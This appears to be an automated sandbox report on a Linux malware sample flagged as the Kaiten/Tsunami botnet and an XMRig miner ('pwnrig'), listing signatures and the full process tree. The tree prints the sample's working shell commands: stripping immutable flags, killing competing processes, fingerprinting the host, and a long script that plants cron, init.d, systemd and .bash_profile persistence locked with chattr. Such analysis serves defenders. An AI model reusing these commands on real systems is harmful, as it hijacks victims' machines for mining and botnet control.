Analysis
-
max time kernel
149s -
max time network
130s -
platform
ubuntu-24.04_amd64 -
resource
ubuntu2404-amd64-20240523-en -
resource tags
-
submitted
07-08-2024 09:49
General
-
Target
653b43fe3c86956d79be1c519628ab96
-
Size
4.3MB
-
MD5
653b43fe3c86956d79be1c519628ab96
-
SHA1
ea9b54203d6a96bf7a496809457006c292f9c8a9
-
SHA256
80997198c6473f62efc3160cb8b4cb84d9bc7f7f3283f0e07ac3dc3ea2b66fbe
-
SHA512
8fabc9321ee1e237f353510d5e614f0c14c9d44364869a6e5d9cbcb7b847352e41417b3abb49f2cb3f0b5c7e9aeb1e0dcd36ac5b79974402dd9010002a0046a3
-
SSDEEP
98304:A/04DF7EOpAqyUj3dZ83Xx5uLZanflrivQTh5s9lN:A/0aG23v83riZanflrsQTh
Score
10/10
Malware Config
Signatures
-
Detects Kaiten/Tsunami Payload 2 IoCs
-
Detects Kaiten/Tsunami payload 2 IoCs
-
Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
XMRig Miner payload 4 IoCs
-
Executes dropped EXE 7 IoCs
-
UPX packed file 3 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Attempts to change immutable files 57 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
-
Checks hardware identifiers (DMI) 1 TTPs 16 IoCs
Checks DMI information which indicate if the system is a virtual machine.
-
Creates/modifies Cron job 1 TTPs 28 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Modifies init.d 1 TTPs 5 IoCs
Adds/modifies system service, likely for persistence.
-
Modifies systemd 1 TTPs 5 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
-
Reads hardware information 1 TTPs 56 IoCs
Accesses system info like serial numbers, manufacturer names etc.
-
Writes file to system bin folder 1 TTPs 9 IoCs
-
Checks CPU configuration 1 TTPs 16 IoCs
Checks CPU information which indicate if the system is a virtual machine.
-
Reads CPU attributes 1 TTPs 24 IoCs
-
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 12 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/653b43fe3c86956d79be1c519628ab96/tmp/653b43fe3c86956d79be1c519628ab961⤵
- Writes file to tmp directory
-
/tmp/64f1b344-f61f-48c2-a67b-7f3fbb286f46"[kworker/R-debug] "1⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Modifies init.d
- Modifies systemd
- Writes file to system bin folder
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
-
/bin/chattrchattr -ia /etc/cron.d/.placeholder2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.d/anacron2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.d/e2scrub_all2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /var/spool/cron/atjobs2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /var/spool/cron/atspool2⤵
- Attempts to change immutable files
-
-
/tmp/-bash-82c11f38-353d-49eb-b263-ceca8643985f/tmp/-bash-82c11f38-353d-49eb-b263-ceca8643985f -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d2⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
-
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵
- Attempts to change immutable files
-
/bin/hostnamehostname -I4⤵
- Attempts to change immutable files
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/catcat /etc/ssh/sshd_config4⤵
-
-
/bin/grepgrep "Port "4⤵
-
-
/bin/headhead -n 14⤵
-
-
/bin/awkawk "{print \"-\"\$2}"4⤵
-
-
/bin/whoamiwhoami4⤵
-
-
/bin/hostnamehostname4⤵
-
-
/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
-
-
/bin/grepgrep -m 1 "model name" /proc/cpuinfo4⤵
- Checks CPU configuration
-
-
/bin/cutcut -d: -f24⤵
-
-
/bin/sedsed -e "s/^ *//"4⤵
-
-
/bin/sedsed -e "s/\$//"4⤵
- Reads runtime system information
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$3}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/awkawk "{print \$2\" \"\$3\" \"\$4}"4⤵
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵
-
/bin/psps -A "-ostat,ppid"4⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵
-
-
/bin/idid -u4⤵
-
-
/bin/psps x4⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep /etc/cron4⤵
-
-
/bin/grepgrep -v grep4⤵
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵
-
/bin/idid -u4⤵
-
-
/bin/psps aux4⤵
- Checks CPU configuration
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep -v grep4⤵
-
-
/bin/grepgrep -v -- "-bash[[:space:]]*\$"4⤵
-
-
/bin/grepgrep -v /usr/sbin/httpd4⤵
-
-
/bin/awkawk "{if(\$3>30.0) print \$2}"4⤵
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"3⤵
-
/bin/idid -u4⤵
-
-
/bin/psps aux4⤵
- Checks CPU configuration
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep -v grep4⤵
-
-
/bin/grepgrep -- "-bash[[:space:]]*\$"4⤵
-
-
/bin/awkawk "{if(\$3>30.0) print \$2}"4⤵
-
-
/bin/wcwc -l4⤵
-
-
-
-
/bin/chattrchattr -ia /var/spool/cron/crontabs2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.hourly/.placeholder2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/.placeholder2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/0anacron2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/apport2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/apt-compat2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/dpkg2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/man-db2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.weekly/.placeholder2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.weekly/0anacron2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.weekly/man-db2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.monthly/.placeholder2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.monthly/0anacron2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /var/spool/cron/atjobs2⤵
- Attempts to change immutable files
-
-
/bin/bashbash -c "find /usr/local/share -type f -regextype egrep -regex '.*[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}' -exec rm -rf {} +"2⤵
-
-
/bin/findfind /usr/local/share -type f -regextype egrep -regex ".*[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}" -exec rm -rf "{}" +2⤵
-
-
/bin/bashbash -c "echo \"*/2 * * * * nohup /usr/local/share/28bce82f-4b8d-44b3-90c2-8ab3dafd7336 >/dev/null 2>&1 &\" | crontab -"2⤵
-
/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
-
/tmp/-bash-82c11f38-353d-49eb-b263-ceca8643985f/tmp/-bash-82c11f38-353d-49eb-b263-ceca8643985f -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn2⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵
- Attempts to change immutable files
-
/bin/hostnamehostname -I4⤵
- Attempts to change immutable files
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/grepgrep "Port "4⤵
-
-
/bin/headhead -n 14⤵
-
-
/bin/awkawk "{print \"-\"\$2}"4⤵
-
-
/bin/catcat /etc/ssh/sshd_config4⤵
-
-
/bin/whoamiwhoami4⤵
-
-
/bin/hostnamehostname4⤵
-
-
/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
-
-
/bin/grepgrep -m 1 "model name" /proc/cpuinfo4⤵
- Checks CPU configuration
-
-
/bin/cutcut -d: -f24⤵
-
-
/bin/sedsed -e "s/^ *//"4⤵
-
-
/bin/sedsed -e "s/\$//"4⤵
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$3}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/awkawk "{print \$2\" \"\$3\" \"\$4}"4⤵
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵
-
/bin/psps -A "-ostat,ppid"4⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵
-
-
/bin/idid -u4⤵
-
-
/bin/psps x4⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep /etc/cron4⤵
-
-
/bin/grepgrep -v grep4⤵
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/-bash-82c11f38-353d-49eb-b263-ceca8643985f';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"3⤵
- Attempts to change immutable files
- Writes file to tmp directory
-
/bin/idid -u4⤵
-
-
/bin/idid -u4⤵
-
-
/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"4⤵
- Attempts to change immutable files
-
-
/bin/rmrm -rf /bin/bprofr4⤵
-
-
/bin/sedsed -i /bprofr/d "~/.bash_profile"4⤵
- Attempts to change immutable files
-
-
/bin/cpcp -f -r -- /tmp/-bash-82c11f38-353d-49eb-b263-ceca8643985f /bin/bprofr4⤵
- Writes file to system bin folder
-
-
/bin/idid -u4⤵
-
-
/bin/chattrchattr +i +a /bin/bprofr "~/.bash_profile"4⤵
- Attempts to change immutable files
-
-
/bin/mkdirmkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly4⤵
-
-
/bin/chattrchattr -i -a "/etc/cron.*/pwnrig" /bin/crondr4⤵
- Attempts to change immutable files
-
-
/bin/rmrm -rf /bin/crondr4⤵
-
-
/bin/cpcp -f -r -- /tmp/-bash-82c11f38-353d-49eb-b263-ceca8643985f /bin/crondr4⤵
- Writes file to system bin folder
-
-
/bin/teetee /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig4⤵
- Creates/modifies Cron job
-
-
/bin/sedsed -i "1 s/-e //" /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig4⤵
- Attempts to change immutable files
- Creates/modifies Cron job
-
-
/bin/chmodchmod +x /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr4⤵
-
-
/bin/chattrchattr +i +a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr4⤵
- Attempts to change immutable files
-
-
/bin/whichwhich chkconfig4⤵
-
-
/bin/whichwhich update-rc.d4⤵
-
-
/bin/chattrchattr -i -a /etc/init.d/pwnrig /bin/initdr4⤵
- Attempts to change immutable files
-
-
/sbin/update-rc.dupdate-rc.d -f pwnrig disable4⤵
-
-
/sbin/update-rc.dupdate-rc.d -f pwnrig remove4⤵
-
/bin/systemctlsystemctl daemon-reload5⤵
-
-
-
/bin/rmrm -rf /bin/initdr4⤵
-
-
/bin/cpcp -f -r -- /tmp/-bash-82c11f38-353d-49eb-b263-ceca8643985f /bin/initdr4⤵
- Writes file to system bin folder
-
-
/bin/teetee /etc/init.d/pwnrig4⤵
- Modifies init.d
-
-
/bin/sedsed -i "1 s/-e //" /etc/init.d/pwnrig4⤵
- Attempts to change immutable files
- Modifies init.d
-
-
/bin/chmodchmod +x /etc/init.d/pwnrig /bin/initdr4⤵
-
-
/sbin/update-rc.dupdate-rc.d pwnrig defaults4⤵
-
/bin/systemctlsystemctl daemon-reload5⤵
-
-
-
/sbin/update-rc.dupdate-rc.d pwnrig enable4⤵
-
/bin/systemctlsystemctl "--root=/" --quiet enable pwnrig5⤵
-
-
/bin/systemctlsystemctl daemon-reload5⤵
-
-
-
/bin/chattrchattr +i +a /etc/init.d/pwnrig /bin/initdr4⤵
- Attempts to change immutable files
-
-
/bin/whichwhich systemctl4⤵
-
-
/bin/chattrchattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵
- Attempts to change immutable files
-
-
/bin/rmrm -rf /bin/sysdr4⤵
-
-
/bin/cpcp -f -r -- /tmp/-bash-82c11f38-353d-49eb-b263-ceca8643985f /bin/sysdr4⤵
- Writes file to system bin folder
-
-
/bin/teetee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵
- Modifies systemd
-
-
/bin/sedsed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵
- Attempts to change immutable files
- Reads runtime system information
-
-
/bin/chattrchattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵
- Attempts to change immutable files
-
-
/bin/systemctlsystemctl enable pwnrige.service4⤵
-
-
/bin/systemctlsystemctl enable pwnrigl.service4⤵
-
-
/bin/systemctlsystemctl daemon-reload4⤵
-
-
/bin/systemctlsystemctl reload-or-restart pwnrige.service4⤵
-
-
-
-
/tmp/-python37-59bcbe28-2a35-4e11-824b-88ffcec00448/tmp/-python37-59bcbe28-2a35-4e11-824b-88ffcec004482⤵
- Executes dropped EXE
- Writes file to tmp directory
-
-
/bin/chattrchattr -ia /var/spool/cron/atjobs2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /var/spool/cron/crontabs2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /var/spool/cron/atjobs2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /var/spool/cron/crontabs2⤵
- Attempts to change immutable files
-
-
/bin/bashbash -c "find /usr -type f -regextype egrep -regex '.*[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}' -exec rm -rf {} +"2⤵
-
-
/bin/findfind /usr -type f -regextype egrep -regex ".*[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}" -exec rm -rf "{}" +2⤵
-
/bin/rmrm -rf /usr/local/share/28bce82f-4b8d-44b3-90c2-8ab3dafd73363⤵
-
-
-
/bin/bashbash -c "echo \"*/2 * * * * nohup /usr/69c334af-26ef-4ef9-8aef-5d0fcf09fabe >/dev/null 2>&1 &\" | crontab -"2⤵
-
/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
-
/tmp/-bash-5592a2cc-8a1d-4d5f-b719-d6918e04d82b/tmp/-bash-5592a2cc-8a1d-4d5f-b719-d6918e04d82b -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d2⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
-
